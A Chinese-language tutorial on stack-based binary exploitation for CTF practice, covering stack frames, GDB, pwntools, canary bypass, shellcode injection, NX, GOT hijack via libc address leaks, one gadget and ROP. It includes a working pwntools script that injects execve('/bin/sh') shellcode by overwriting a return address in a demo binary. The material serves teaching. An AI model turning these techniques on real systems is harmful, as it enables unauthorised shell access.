pwn—栈的学习

1.前卫知识

1.x86 Assembly

与c语言比较

rax和rbx是x86架构下的一种通用寄存器

image-20240317193730112
image-20240317193903917

jmp这里是跳过的意思,这里指直接跳到begin

cmp是比较的意思

jle是conditional jump指条件跳转(即如果前一个比较指令结果表明第一个操作数小于或等于第二个操作数,则执行跳转)

LOOP这里指的是直接跳出去(这里是跳到循环开头)

如果要搜索直接在谷歌或者edge输入x86 要搜索的指令

2.save bp

在 x86 架构中,特别是在函数调用过程中,通常会使用基址指针 bp(也称为帧指针)来访问函数的局部变量和参数

当一个函数被调用时,它的栈帧(stack frame)被压入栈中,bp 指针会指向栈帧的基址,这样就可以通过 bp 指针来访问函数的局部变量和参数

3.read函数的调用规则

ssize_t read(int fd, void *buf, size_t count);
  • fd:表示要读取数据的文件描述符。通常情况下,0 表示标准输入(stdin)、1 表示标准输出(stdout)、2 表示标准错误输出(stderr)。其他文件描述符则是由打开文件时返回的整数。
  • buf:表示存放读取数据的缓冲区的地址。
  • count:表示要读取的字节数。

read() 函数会尝试从文件描述符 fd 中读取 count 个字节的数据,并将数据存储到 buf 所指向的缓冲区中

它会返回实际读取的字节数:

  1. 如果返回值为 0,则表示已经读取到文件的末尾
  2. 如果返回值为 -1,则表示出现了错误,此时可以通过查看 errno 变量获取具体的错误信息

read() 函数是一个阻塞函数,如果没有数据可读,它会一直等待

2.栈帧(Stake Frame)

1.前卫知识

不同的区域存在不同的栈帧,里面存放不同的局部变量,每个function都有头部和尾部

头部:prologue

尾部:epilogue

前面是头部后面是尾部

image-20240317202312587
image-20240317202753822

0x0007fffffffe5c8是rsp的具体的位置

2.main函数头部的流程

push rbp
mov rbp,rsp
sub rsp,20h
```
call function1
leave
ret

1.push:将rbp的值push进rsp的位置,在stack的位置向上移动了8个bit

这个地方做一个说明这里的8bit是一个举例,在x86 架构下,这里一般是4个字节(32个bit)

image-20240317203837044

2.将rbp的值存到rsp

image-20240317204200395

3.rsp减掉0x20,这样main函数就会放在rsp和rbp之间的位置

image-20240317204809250

4.然后呼叫function1,进入function1执行,这里x86 对于function1 的返回后的的地址问题给出处理方法是在call之后,立刻将返回的地址push进入main的stack位置

image-20240317205603743

2.function1头部的流程

push rbp
mov rbp,rsp
sub rsp,30h
```
leave
ret

1.将rbp的值再次压入rsp中

image-20240317210011735

2.将rbp的值赋给了rsp的值

image-20240317210148972

3.将rsp减去0x30,中间的就是function的区域

image-20240317210254407

4.尾部流程(本质就是头部的反操作)

1.leave可以理解为的等效的

mov rsp rbp
pop rbp
1.mov rsp,rbp,就是将rbp的值赋给rsp,这样rsp就会飞到rbp(这里相当于是丢弃函数体中的局部变量)
image-20240317210906662
2.pop rbp
用于将数据从栈中弹出,在 x86 架构的汇编语言中,“pop” 指令通常与 “push” 指令配对使用,用于栈操作。它从栈顶弹出数据,并将栈指针减小相应的字节数,以指向下一个数据。 “pop” 指令通常用于恢复之前压入栈的寄存器值或局部变量,以及其他需要的数据

这里不太好理解,

我认为的是这里的pop指令的关键就是上面的铺设和mov的操作的一次返还来保证这里的栈的稳定性,不发生偏移

1.取消掉rsp前面被push进入栈的8个bit也就是rbp原本的值

2.然后取消掉这里rbp被mov到rsp经过push压栈后的值的操作

结果如下(若果不理解可以再看看上面栈头部的操作)

image-20240317214938037

2.function1中的ret的操作就是呼应了上面call之后的x86的函数调用的返回的处理方法

这里的执行方法就是说将这里rsp中的0x401234的返回值pop给一个另外的寄存器rip(它的作用是不断更新执行那个下一条将要执行的地址)这样rip就会将rsp的pop回到原来的值(也就是e5a0对应的值,也就是main函数那里leave对应的地址)

image-20240317221717108

这里可以发现stack的值已经返回了原来的函数调用前的值

3.main函数里面的leave的操作

取消掉rsp前面被push进入栈的8个bit也就是rbp原本的值

然后取消这里rbp被mov到rsp经过push压栈后的值的操作

4.然后就return退出这个stack

3.GDB

1.基本配置

这里推荐大佬的文章配置pwn的ubuntu的pwn环境

ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建_ubuntu powerpc编译环境-CSDN博客

但是个人觉得kali的好看一点

推荐的套件:

  1. gef套件(美化gdb)
  2. pwngdb套件

2.常用的指令

1.b*[中断的地址]:(break point)

设定中断点

2.c:(continue)

继续执行

3.ni:(不步入)

执行一个命令

4.si:(步入

执行一个命令

5.x/格式如下:(address ecxpression)

image-20240318201347580

显示记忆内容

3.演示

1.disassemble+函数名

disassemble 命令用于反汇编指定的代码区域,将其转换为汇编语言的形式并显示出来

可以指定要反汇编的代码区域

  1. 函数名
  2. 地址范围
  3. 代码地址

使用指令示例:

  • disassemble:在不指定具体代码区域的情况下,会显示当前程序执行点所在的代码的汇编
  • disassemble function_name:指定函数名,显示该函数的汇编代码
  • disassemble start_address, end_address:指定地址范围,显示该范围内的代码的汇编
  • disassemble *address:指定具体的地址,显示该地址处的代码的汇编

2.x实例

这里是gef的显示的界面

image-20240319194213981

可以看见这里再b下断点之后发现,这里是展示了00到08的记忆体的数据

我么想要查看后面8位的数据

就使用指令

x/1xg 0x00007fffffffe538

这里1个g就表示8个bit

就可以看到这个界面

image-20240319194611681

4.pwntools(一个基于python的攻击模组)

1.常用函数functions

image-20240319194819296

1.process

用于创建本地进程。通过该函数,你可以启动一个本地的程序,并与其进行交互

p = process("/path/to/program")

其中 p 是一个 process 对象

/path/to/program 是要执行的程序的路径

你可以使用 p.send() 方法发送数据给该进程,使用 p.recv() 方法接收进程的输出

示例代码

from pwn import *

# 创建一个本地进程
p = process("/bin/bash")

# 发送数据给进程
p.sendline("ls")

# 接收进程的输出
print(p.recvall().decode())

2.remote

用于创建网络连接并在远程主机上执行程序。通过该函数,你可以连接到远程主机的指定端口,并与其进行交互

r = remote("host", port)

r 是一个 remote 对象

host 是远程主机的 IP 地址或域名

port 是要连接的端口号

可以使用 r.send() 方法发送数据给远程主机,使用 r.recv() 方法接收远程主机的输出

示例代码

from pwn import *

# 连接到远程主机的 1337 端口
r = remote("example.com", 1337)

# 发送数据给远程主机
r.sendline("ls")

# 接收远程主机的输出
print(r.recvall().decode())

3.send

用于向进程或远程主机发送数据。无论是本地进程还是远程主机,你都可以使用 send 函数发送数据

p.send("data")

其中 p 可以是 process 对象或 remote 对象,data 是要发送的数据

示例代码

from pwn import *

p = process("/bin/bash")

# 向进程发送数据
p.sendline("echo hello")

# 接收并打印进程的输出
print(p.recv().decode())

4.sendline

发送带有换行符的数据。当需要发送一行数据并在末尾添加换行符时,可以使用 sendline 函数

p.sendline("data")

其中 p 可以是 process 对象或 remote 对象

data 是要发送的数据,在末尾会自动添加换行符 \n

示例代码

from pwn import *

p = process("/bin/bash")

# 使用 sendline 发送数据,自动添加换行符
p.sendline("echo hello")

5.sendafter

在指定字符串出现后发送数据。当需要等待某个特定字符串出现后再发送数据时,可以使用 sendafter 函数

p.sendafter("search", "data")

其中 p 可以是 process 对象或 remote 对象,search 是要搜索的字符串,一旦找到该字符串就会发送数据 "data"

示例代码

from pwn import *

p = process("/bin/bash")

# 在字符串 "prompt: " 出现后发送数据
p.sendafter("prompt: ", "ls")

6.sendlineafter

在指定字符串出现后发送带有换行符的数据。结合了 sendlinesendafter 的功能,在指定字符串出现后发送带有换行符的数据

p.sendlineafter("search", "data")

其中 p 可以是 process 对象或 remote 对象,search 是要搜索的字符串,一旦找到该字符串就会发送带有换行符的数据 "data\n"

from pwn import *

p = process("/bin/bash")

# 在字符串 "prompt: " 出现后发送带有换行符的数据
p.sendlineafter("prompt: ", "echo hello")

sendline 用于发送带有换行符的数

sendafter 用于在指定字符串出现后发送数据

sendlineafter 则是在指定字符串出现后发送带有换行符的数据

7.recv

接收指定长度的数据。该函数用于接收指定长度的数据并返回

p.recv(n)

其中 p 可以是 process 对象或 remote 对象,n 是要接收的数据的长度。如果不指定 n,则会接收尽可能多的数据

from pwn import *

p = process("/bin/bash")

# 接收长度为 10 的数据
data = p.recv(10)
print(data.decode())

8.recvline

接收一行数据。该函数用于接收一行数据并返回,一行数据以换行符 \n 结尾

示例代码

from pwn import *

p = process("/bin/bash")

# 接收一行数据
line = p.recvline()
print(line.decode())

9.recvuntil

接收直到指定字符串出现为止的所有数据。该函数用于接收数据,直到指定的字符串出现为止,然后返回所有接收到的数据(包括指定的字符串)

p.recvuntil("pattern")

其中 p 可以是 process 对象或 remote 对象,pattern 是要等待的字符串

from pwn import *

p = process("/bin/bash")

# 接收直到出现 "shell" 为止的所有数据
data = p.recvuntil("shell")
print(data.decode())

2.利用手段

后期慢慢说,现在知道概念就行

5.栈溢出漏洞

1.简述

由在局部变量上面越界输入导致

  1. 导致其他局部变量被更改
  2. 导致return address被更改(用于指示函数执行完成后程序应该返回到哪个位置继续执行)

2.示例详解

依旧利用前面的栈帧来进行模拟

1.栈的情况

image-20240325175019692

假设这个蓝色的框里面存在使用者进行传参的窗口

2.传入n个A到rsp的位置

如果传入的A没有限制

1.假如传入的A在560到590之间,则没有影响
image-20240325175401795
2.加入传入的A过多将后面的数据盖掉(就有可能出现bug)
image-20240325175436405

到leave的时候程序还能执行

但是到ret的时候,return回去8个A,就是8个4141的地址(假如它存在),如果不存在,程序就会出错

3.堆栈保护机制

一种用于防范缓冲区溢出攻击的安全机制

会在程序的栈帧中插入一个称为”Stack Canary”的特殊值。这个值被设计为一个随机生成的数字,会在系统运行时动态地插入到程序栈的关键位置之间,如函数返回地址之前

当程序运行时,栈上的保护值会被监视,如果发生缓冲区溢出攻击,导致该值被修改,程序会检测到这种异常情况并采取相应的安全措施,例如终止程序执行,防止进一步的恶意操作

1.利用cannary之后的示例分析

image-20240325194322222
1.mov rax,fs:28h

fs是一个暂存器,这里fs:28h相当于将存储在 FS 段寄存器偏移地址为 0x28 的位置)加载到 RAX 寄存器

2.mov [rbp-8],rax

将rax的值放在rbp-8的位置

image-20240325195643959
3.模拟中间的传参(过多传参)
image-20240325195757228

这里cannary的值被改掉了

4.尝试获取前面存放cannary的值

mov rcx,[rbp-8]就是指尝试获取前面rbp+8存放的cannary的值

image-20240325200529067
5.将获取到的新的rbp上的cannry的值与原来fs:28 处存放的cannary的值进行比较
image-20240325200513516

一样的输出0 ,如果不一样则结果不是0

6.如果是0的话就jump
image-20240325200728724

jump到ok的位置

image-20240325200900536

正常跳到ok,执行ok的后面正常退出

7.如果不相同则继续执行

call __stack_chk_fail

呼叫这个检查函数,程序不会正常退出,程序检查到了栈溢出的问题

2.绕过cannary的技术

基本的想法:

泄露cannary的值

在传入参数的时候将cannnary放到正确的位置,其他还是一样的传入A

image-20240325202012354

就可以绕过检查

3.pwn攻击示例

image-20240325202442198

不太清晰这个东西以后再分享类似的

6.shellcode简易原理以及操作

一段用于利用计算机系统漏洞或实施攻击的机器码,通常是用来注入恶意代码并获得对系统控制权的一种技术。Shellcode 通常以二进制形式编写,用于利用特定的漏洞或弱点,例如缓冲区溢出漏洞。一旦成功执行,Shellcode 可能会启动一个 shell 或者执行其他恶意操作

1.将这里的数据写入,从全是A改成shellcode

image-20240325211219098

2.将这里的从main函数call的func1返回的地址数据改成上面shellcode执行的开始的地址

这样本来的func1函数执行结束后应该返回位于main函数的该函数返回地址继续执行后面的操作,但是这里将地址更改后就会执行shellcode的程序

image-20240325211624576

1.这里leave执行以后,就变成了这样

image-20240325212224010

2.在执行ret之后程序就会来到shellcode的地方

image-20240325212347536

7.NX(NO-eXecute)技术

这里针对的就是刚刚的关键性步骤在栈上的数据,能够被当做指令执行的问题

栈上的记忆体有三重权限(rwx三重权限)

r(read) w(write) x(eXcute)

  • “r” 表示读取权限,允许用户查看文件的内容或目录的列表
  • “w” 表示写入权限,允许用户修改文件的内容或在目录中创建、删除文件
  • “x” 表示执行权限,对于文件来说,允许用户执行文件的程序;对于目录来说,允许用户进入该目录

但是在设定nx之后将不会存在rwx区段

image-20240325214551615

在stack这个区段上面fde000-fff000存在rwx的权限

1.查看记忆体区段

b main

之后run运行

到断点的位置

vnmap

将会展示详细的记忆体区段信息

image-20240325215116165

这里可以发现这里的的字段存在了很多rwx的三重权限

一般来说这里都要可读r(否则无法读取的话执行和写入都无法进行)

2.nx的原理

将数据所在内存页(用户栈中)标识为不可执行

当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令

就像这样:

微信截图_20221014115435.png

3.shellcode demo理解

1.运行shellcode,断点位于main,run进入调试,vnmap查看结构体(跟上面一样)

image-20240327105141966

2.先看源码配合调试理解

image-20240327105504550
1.stack-protecter
gcc-fno-stack-protecter -o 文件

即是说不存在canary保护
gcc-stack-protecter -o 文件

即是存在cannary的保护
gcc-fno-stack-protecter -z execstack -o 文件
即使指这里的stack是rwx
2.设置缓冲区
image-20240327110140096
stevbuff的官方解释:
https://www.runoob.com/cprogramming/c-function-setvbuf.html
声明:
int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
参数:
  • stream — 这是指向 FILE 对象的指针,该 FILE 对象标识了一个打开的流
  • buffer — 这是分配给用户的缓冲。如果设置为 NULL,该函数会自动分配一个指定大小的缓冲
  • mode — 这指定了文件缓冲的模式:模式描述_IOFBF全缓冲:对于输出,数据在缓冲填满时被一次性写入。对于输入,缓冲会在请求输入且缓冲为空时被填充。_IOLBF行缓冲:对于输出,数据在遇到换行符或者在缓冲填满时被写入,具体视情况而定。对于输入,缓冲会在请求输入且缓冲为空时被填充,直到遇到下一个换行符。_IONBF无缓冲:不使用缓冲。每个 I/O 操作都被即时写入。buffer 和 size 参数被忽略。
  • size –这是缓冲的大小,以字节为单位
返回值:

如果成功,则该函数返回 0,否则返回非零值

实例:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main()
{

char buff[1024];

memset( buff, '\0', sizeof( buff ));

fprintf(stdout, "启用全缓冲\n");
setvbuf(stdout, buff, _IOFBF, 1024);

fprintf(stdout, "这里是 runoob.com\n");
fprintf(stdout, "该输出将保存到 buff\n");
fflush( stdout );

fprintf(stdout, "这将在编程时出现\n");
fprintf(stdout, "最后休眠五秒钟\n");

sleep(5);

return(0);
}
在这里,程序把缓冲输出保存到 buff,直到首次调用 fflush() 为止,然后开始缓冲输出,最后休眠 5 秒钟。它会在程序结束之前,发送剩余的输出到 STDOUT
3.进入gdb inint
image-20240327114438698
概念详解:
  1. 当 GDB(即 GNU Project Debugger)启动时,它在当前用户的主目录中寻找一个名为 .gdbinit 的文件;如果该文件存在,则 GDB 就执行该文件中的所有命令
  2. 该文件用于简单的配置命令
  3. 可以读取宏编码语言,从而允许实现更强大的自定义
基本格式:
define <command>
<code>
end
document <command>
<help text>
end
关键指令
image-20240327115120803
tty识别linux设备号
image-20240327115246671
在将这里的tty识别出的linux设备号设置回去
image-20240327115405621
设置的gdb init的内容
image-20240327182835778
4.查看main函数
image-20240327183020380

发现这里可以实现前面演示的攻击流程

image-20240327183320034

3.查看攻击脚本

image-20240327184002061

有点看不懂,这里先去学一下pwntools的基本使用方法

附上笔记博客:pwntools的基本使用方法 – giraffe‘blog (giraffexiu.love)

from pwn import *

# 设置当前架构为amd64
context.arch = 'amd64'

# 运行名为'shellcode'的程序,并创建一个进程对象p
p = process('./shellcode')

# 从程序接收直到遇到'buf:',然后读取其后的16进制数字,转换为整数
p.recvuntil(b'buf:')
buf = int(p.recvline()[:-1], 16)
log.info(hex(buf)) # 打印buf的16进制表示,并记录在日志中

# 构造shellcode
sc = asm('''
xor rsi,rsi # 将 rsi 寄存器清零
mov rdx,rsi # 将 rdx 寄存器也清零
mov rdi,''' + str(buf + 0x14) + ''' # 将 rdi 寄存器设置为 buf+0x14,指向字符串 "/bin/sh"
mov al,59 # 将 al 寄存器设置为系统调用号59(execve系统调用)
syscall # 发起系统调用

''')

raw_input('>') # 等待用户输入,暂停程序执行,方便调试

# 构造payload
payload = sc # 将shellcode添加到payload中
payload += b'/bin/sh\0' # 将字符串 "/bin/sh" 添加到payload中
payload = payload.ljust(0x70, b'\x90') # 将payload填充到长度0x70,填充内容为NOP指令
payload += p64(0x909090909090) # 添加64位NOP指令(长度为8字节)
payload += p64(buf) # 将buf地址添加到payload中

# 向程序发送payload
p.sendafter(b'name?', payload)

# 交互模式,允许用户与程序进行交互
p.interactive()

4.使用ida打开shellcode,理解攻击脚本原理

image-20240327210643608
1.payload = payload.ljust(0x70, b’\x90′)
image-20240327211307594

攻击脚本中对齐rbp的栈顶,然后用0x90填充到0x70个字的大小

2.payload += p64(0x909090909090) payload += p64(buf)
image-20240327212358572

先传入8个字的0x90覆盖rbp

再将buf的数据传入覆盖return adrsss的值,然后回到攻击脚本的开始的传入的asm指令

3.执行指令
sc = asm('''
xor rsi,rsi # 将 rsi 寄存器清零
mov rdx,rsi # 将 rdx 寄存器也清零
mov rdi,''' + str(buf + 0x14) + ''' # 将 rdi 寄存器设置为 buf+0x14,指向字符串 "/bin/sh"
mov al,59 # 将 al 寄存器设置为系统调用号59(execve系统调用)
syscall # 发起系统调用
注释:

要理解这段指令

chorme搜索,查询execve

syscall table x64
image-20240327215442835
image-20240327213950321
%raxSystem call%rdi%rsi%rdx%r10%r8%r9
59sys_execveconst char *filenameconst char *const argv[]const char *const envp[]

这里是说linux中 x64 的命令执行的格式模板

这里的sys_execve表示在rax设置为59,rdi放入要执行的文件的名称,rsi 和rdx不想指定的话,可以赋值为0

这样的话指令就会将程序指向攻击的脚本位置开始执行

经过动调后发现这里的bin/sh/文件在(buf+0x14)的位置

4.raw_input(‘>’)理解

等待用户输入,先暂停运行进程,方便调试

4.执行shellcode测试

1.shellcode gdb -p $(pidof shellcode)

  • “-p”: 这是一个参数,用于指定要调试的进程
  • “$(pidof shellcode)”: 这部分是一个命令替换,用于获取名为 “shellcode” 的进程的进程 ID (PID)。命令 “pidof shellcode” 用于获取名为 “shellcode” 的进程的 PID
image-20240328163657238

2.finish

fini

或者

finish

作用:

现在执行在read函数当中,然后finish的作用就是执行完这个read函数然后直接返回main函数

省去传入参数后,在main函数下断点,然后再单步调试到这个函数结束然后跳转到main函数的过程

3.x/16xg rbp-0x70

基于前面的shellcode分析和ida的逆向分析

我们知道向rbp-0x70的位置传入了数据

image-20240328190505627

框住的部分应该就是shellcode,后面的部分是exp里面的填充到0x70的部分的0x90(nop)

image-20240328224011799

这里应该是/bin/sh的值(猜测)

查一下

image-20240408212141217

4.测试脚本跟进查看shellcode

1.ni单步运行调试
image-20240415221900731
2.这里就是传入的shellcode
image-20240415221952606
3.si进入shellcode调试
image-20240415222537745
5.可以看到这里一开始么有偏移的脚本,rdi寄存器并没有正确的指向/bin/sh,导致失败
image-20240415222851597

rax返回了一个错误的值

6.将刚刚前面计算到的0x14 的偏移加上,就可以顺利的调用到/bin/sh
image-20240415223200498
image-20240415223347309

8.Lazy Binding(延迟绑定)

1.概述

  1. 由于library在执行时才会被加载,地址是不固定的
  2. 因此程序将Library call连接到Library中
    • 在程序开始时就加载所有的函数会导致程序的运行效率低
    • 不是所有的Library Call在一次运行中都会被调用
  3. 在程序第一次调用Library Call时才会被加载解析其地址

2.模板程序的调试理解

1.程序模板

image-20240416013238231

2.执行流程

1.在main函数第一次呼叫< puts@plt >,跳转到.plt.sec中进行
image-20240416013502885

简析部分指令:

1.end jmp

endbr64 指令通常与 jmp(跳转)指令结合使用,以确保跳转目标的安全性。在执行 jmp 指令时,如果跳转目标地址附近存在 endbr64 指令插入的随机化标记,处理器会在跳转前检查该标记的存在性,以防止恶意利用分支预测攻击

2.endbr64

用于启用基于分支目标地址的随机化(Branch Target Injection Mitigation)。这个指令主要是为了增强系统的安全性,特别是针对分支预测攻击,例如 Spectre 和 Meltdown。

3.跳转到got.plt,执行操作
image-20240416014020781
4.最终跳转到中间的地址代码
<0x55555555020>
push [<link_map>]
bnd jmp [<_dl_rntime_resolve>]
nop

<0x55555030>
push 0x00//推入index(栈中)
bnd jmp 0x55555020//都会跳转到第一个entry
nnop

<0x5555555040>
endbr64
push 0x1//如果有个更多的entry,则会依次递增(entry:指程序的入口点,即程序开始执行的地方)
bnd jmp 0x055555020
nop
1.在每一次传入后,都会跳转回0x5555555555520

跳回到这的第一个entry,就会push(link_map)

image-20240416104716928
2.然后跳转到<_dl_rntime_resolve>(解析函数)

这里是在解析puts

"解析函数"通常指的是在程序执行过程中,将函数名或符号引用解析为实际的函数地址或实现的过程

在静态链接时,编译器会将函数调用直接绑定到目标文件中的地址,这个过程叫做静态解析

在动态链接时,函数的地址可能在运行时才会被解析出来,这个过程就是动态解析

在动态链接的情况下,解析函数的工作通常由操作系统的动态链接器完成
当程序启动时,动态链接器会读取程序所依赖的动态链接库,并将这些库中的函数名解析为实际的内存地址
3.解析回到真正的地址,就将真正的puts函数的真正地址解析回填到got表中
image-20240416105046020
4.当下一次call puts的时候,就会jmp到真正的位置
image-20240416105332795
image-20240416105359126
image-20240416105419468

9.GOT Hijack

1.概述

  • 程序存在任意写的漏洞
  • 将got表改成想要执行的位置就可以控制执行流

2.模拟大致思路

1.在 call puts.plt时,根据got表上的地址进行跳转执行

image-20240416105901814

2.如果对应的got表上的地址可以修改,那就可以控制执行流程

image-20240416105852710

3.将0x5055555555030改成0x4141414141414之后就可以让他执行Hijack Control Flow

image-20240416110141774

3.Hijack demo程序静态理解

1.源码和demo静态解析

image-20240416110410423
image-20240416110626063
1.set和get的一个全局变量的一个读取程序
2.一个而明显的idx的写入的漏洞
1.array的定义是0x100的大小
image-20240416120308671
2.idx的传入没有见检查范围,所以允许传入负数或者0x100以外的数据
image-20240416120357797

写入负数的话就会想上面的地址进行传入

2.动态执行调试,并理解静态shellcode原理

1.将断点的设在main的位置,然后run,disas main(反编译main函数)
image-20240416110859414
2.这里再呼叫scanf后进行了一系列操作

image-20240416111634736实际对应image-20240416111700012

rax对应value

array对应rcx

idx对应rdx

image-20240416111156809
3根据上面你的地址查询array的值
image-20240416111909550
4.查看got表
image-20240416115307672
image-20240416115326681

发现个array的地方的地址距离got表很近

可以利用前面发现的idx的漏洞进行劫持

5.这里我们可以传入idx为负数,然后可以对上面的地址的数据进行修改
1.比如这里模拟一下,查询array的地址是0x50555555555080
image-20240416120736755(1)
2.查看这里的got表的地址0x505555555030,数一下可以发现这里对应的idx=-10
image-20240416121916167
6.对应的的shellcode利用
1.更改这里的linux的执行档格式
image-20240416122143366
通过将 libc 设置为 ELF(./libc-2.31.so),调试器将使用 libc-2.31.so 文件作为程序运行时的 C 标准库,这样可以确保在调试过程中使用正确版本的标准库
2.set和get根据程序逻辑传入
image-20240416122359495
image-20240416122420838
3.choice的atoi传入对应的idx=-10
image-20240416122502516

(16进制)

  • int(_get(-10),16):这部分命令使用 _get 的函数,并将其返回的值作为参数传递给 int 函数。_get(-10) 表示调用 _get 函数并传递 -10 作为参数。_get 函数可能是一个获取内存地址的函数,整个表达式最终会将 _get 返回的地址转换为十六进制整数
  • atoi 这个变量将会持有 _get(-10) 返回的地址
4.根据atoi的地址反推library的基的地址
image-20240416123422921

通过获取 atoi 函数在 libc 中的地址,然后从 atoi 函数在内存中的地址中减去这个地址偏移量,得到的结果就是 libc 在内存中的基地址

5.将system的真实(/bin/sh)地址注入内存中
image-20240416124040872
  1. _set(-10, libc.symbols['system']):这个命令调用了一个名为 _set 的函数,并传递了两个参数。第一个参数 -10 可能表示一个相对地址偏移,而第二个参数 libc.symbols['system'] 是我们已知的 system 函数在 libc 库中的地址
  2. libc.symbols['system']:这部分代码从 libc 对象的 symbols 字典中获取了 system 函数的地址。在 pwn 中,libc.symbols 通常是一个包含了 libc 库中各个函数地址的数据结构
  3. 注入 system 函数地址:假设 _set 函数是一个内存写入函数,通过传递 -10 这个地址偏移作为参数,将 system 函数的地址写入到了程序的内存中的某个位置。这样,我们就在程序的内存中成功地注入了 system 函数的地址
6.执行传入/bin/sh
image-20240416124234063

这样我们的choice实际上就转换为

image-20240416124255959

就拿到shell了

3.shellcode demo的执行流程动态调试跟进

1.设定raw_input(‘>’)

方便调试的进行

2.进入调试(多次执行fini,因为这里其实不只是call了red 以及scanf,还有很多其他的entry)

image-20240416124846662

3.然后跳转到main,ni单步进行查看变量传入的流程

1.进入main函数
image-20240416125108446
2.ni单步进行到看到atoi的值=2
image-20240416125234094
3.继续单步看见要求传入idx的值
image-20240416125513100

4.传入后,单步进行查看逻辑

image-20240416125619020
1.下面printf对应的源码的地方是
image-20240416125704136
2.可以看到第二个参数就是这个地址(也就是atoi的地址)
image-20240416125746563
3.就是shellcode这一步操作的效果
image-20240416125835379
4.context然后vmmap查看atoi
image-20240416130905941

atoi就在这个区域

image-20240416130843712
  1. 执行 context 后再执行 vmmap
    • 当你在调试器中执行 context 命令后,它会显示当前程序的寄存器状态、堆栈信息等调试信息。然后,当你执行 vmmap 命令时,它将显示程序的内存布局信息,包括代码段、数据段、堆、栈等的详细信息。因此,执行完 context 后再执行 vmmap 可以帮助你在调试过程中更好地理解程序的执行状态和内存布局
  2. 直接执行 vmmap
    • 如果直接在操作系统的 shell 中执行 vmmap 命令,它会显示当前正在运行的进程(包括被调试的程序)的内存映射信息,但不会提供程序的调试状态信息。这意味着你只能看到程序运行时的内存布局,而不能得知程序的当前执行状态
6.反推libc的位置

根据这里的地址

image-20240416131201913

用基地址计算出这里的偏移

image-20240416131152355

反推出libc的地址

7.查看system的偏移
image-20240416131444434

发现在也在这个区域里面

image-20240416131509427

查看相对于libc的基地址的偏移

image-20240416131616583

5.利用偏移的计算方式以及原理

1.计算的方式

将这里link出来的atoi的地址减去相对于libc的偏移0x47730,然后加上system的偏移0x55410就可以得到system的位置

2.计算原理
  1. 泄露 atoi 函数的地址
    • 首先,通过漏洞或者其他方式,我们能够泄露出 atoi 函数在程序中的地址。可能是通过格式化字符串漏洞、堆溢出、栈溢出等方式得到 atoi 函数的地址
  2. 计算 system 函数的地址
    • 我们已经知道了 atoi 函数的地址,现在需要计算 system 函数在内存中的地址
    • 在典型的情况下,libc 中的函数地址是不变的,但库的基地址会变化。我们可以通过减去 atoilibc 中的偏移量(通常是一个固定的值)来获得 libc 的基地址
    • 然后,通过加上 system 函数在 libc 中的偏移量(也是一个固定的值),就可以得到 system 函数在内存中的地址
  3. 构造利用 payload
    • 有了 system 函数的地址后,我们可以构造一个 payload,在其中将我们希望执行的命令传递给 system 函数。
    • 这个 payload 可能是一个字符串,其中包含我们要执行的命令,然后通过调用 system 函数来执行这个命令
3. shellcode demo的计算原理

利用泄露的atoi的地址,减去libc里面存储的偏移值

就可以得到libc基地址(就可以将他加上libc上面的存储的各种偏移,从而定位到其他的真实地址)

3.返回shellcode demo进行查看
1.这里以为libc当中是存储这里的偏移,所以直接读取即可,同理将这里的偏移改成自己计算得到的也是一样的
image-20240416132618844
2.检查的这里的地址是否计算正确
image-20240416132914187
  • log.info():这是一个用于输出信息级别日志的函数调用。在很多日志库中,info 级别通常用于输出一般的信息,用于提示程序的运行状态或者输出一些重要信息
  • 'libc:\n':这是一个字符串,表示要输出的日志信息。libc 是一个变量名,可能是指代了 C 标准库(libc)在程序中的基地址。'\n' 表示换行符,用于将信息输出到下一行
  • hex(libc.address):这部分是将 libc 的基地址转换成十六进制格式hex() 函数用于将一个整数转换成十六进制字符串表示形式
  • libc.address 可能是一个变量,存储了 libc 在程序中的基地址
3.ni单步进行,查看,这里的基地址
image-20240416133122774
4.后面根据程序的逻辑传入shellcode, 并执行的流程省略

跟进检查got表,这里printf,stevbuf等没有改,这里的atoi变成了system

image-20240416171211472

传入/bin/sh

image-20240416171432859

这里atoi接收/bin/sh

image-20240416171652530

带着这个参数,跳转到system

image-20240416171822830

comtinue就拿到shell了

image-20240416171921528

10.One Gadget(没什么好说的)

1.概述

Gadget指可以利用的指令片段

只劫持一次流程,libc中有一些地址,跳进去就拿shell

工具最新版的下载地址

https://qiita.com/kusano_k/items/4a6f285cca613fcf9c9e#gl ibc-231の場合

相关文章:

仮想関数テーブル、one-gadget RCE、glibc 2.31 #CTF – Qiita

2.one gadget demo解析

1.程序的源码

跟前面的got hijack基本相同的源码(相同题目不同打法)

这里的基本思路是将这里atoi改写成gadget(这样的话无论buf传入什么都可以拿到shell)

image-20240417014045790

2.基本思路

1.前面的思路基本相同(截至这里就是在泄露libc的基地址)
image-20240417014522862
2.区别是这里直接去计算了one gadget的地址,把atoi的got表值设置为one gadget的地址
image-20240417014849723
3.然后这里的buf可以随便传入参数,就可以得到shell

==其实这里可以不用atoi的got表,只要是一个可以呼叫到的一个entary就行,只要能执行就可以得到flag)

image-20240417014934294
4.本就就是利用了如下的libc的程序片段
image-20240417015243721

这里的execve就相当于这里多个寄存器配置好的一个shell

3.跟进demo(这里的思路个got hijack类似,就不赘述了)

这里也可以直接利用工具直接one gadget找到关键点

能利用的条件r12和r10为NULL或者指向的NULL

image-20240417015709323

甚至可以对binsh对应的地方进行交叉引用,来找到符合条件的one gadget

image-20240417020111605

11.rop的原理基本理解

1.概述

  1. rop利用的gadget不是哦呢gadget,利用结尾时ret的gadgets
  2. 进而在stack上面安排这些gadgets,依次执行来拿到shell

2.原理解析

模拟程序基本概况

image-20240417020728050

1.先进入程序然后传入参数进行爆改

image-20240417021009868

2.这里传入后进行覆盖跳转到gadget1的地址

image-20240417020855277

3.执行gadegt1

返回的是gadget1的地址

image-20240417021152505

跳转后执行,将rdi的值push进去

image-20240417021251409
image-20240417021032329

4.然后跳转gadget2的地址,然后执行

gadget1执行返回后,这里的再次返回地址改成gadget2的地址

image-20240417021302163

执行gadget2

image-20240417021438925
1.pop rsi的值
image-20240417021622692

由此rsi=0

2.pop rdx

rdx=0

image-20240417021747391
3.pop rax

rax=59

image-20240417021914995
5.最后跳转到gadget3的地址

这里最后将gadget3的值栈中,最后跳转到gadget3中执行

image-20240417022013216

进入后执行syscall(系统调用)

在 x86_64 架构上,使用 syscall 指令执行系统调用。执行 syscall 指令时,CPU 会执行以下操作:

  1. 将系统调用号存储在 rax 寄存器中,以指示所请求的系统调用。
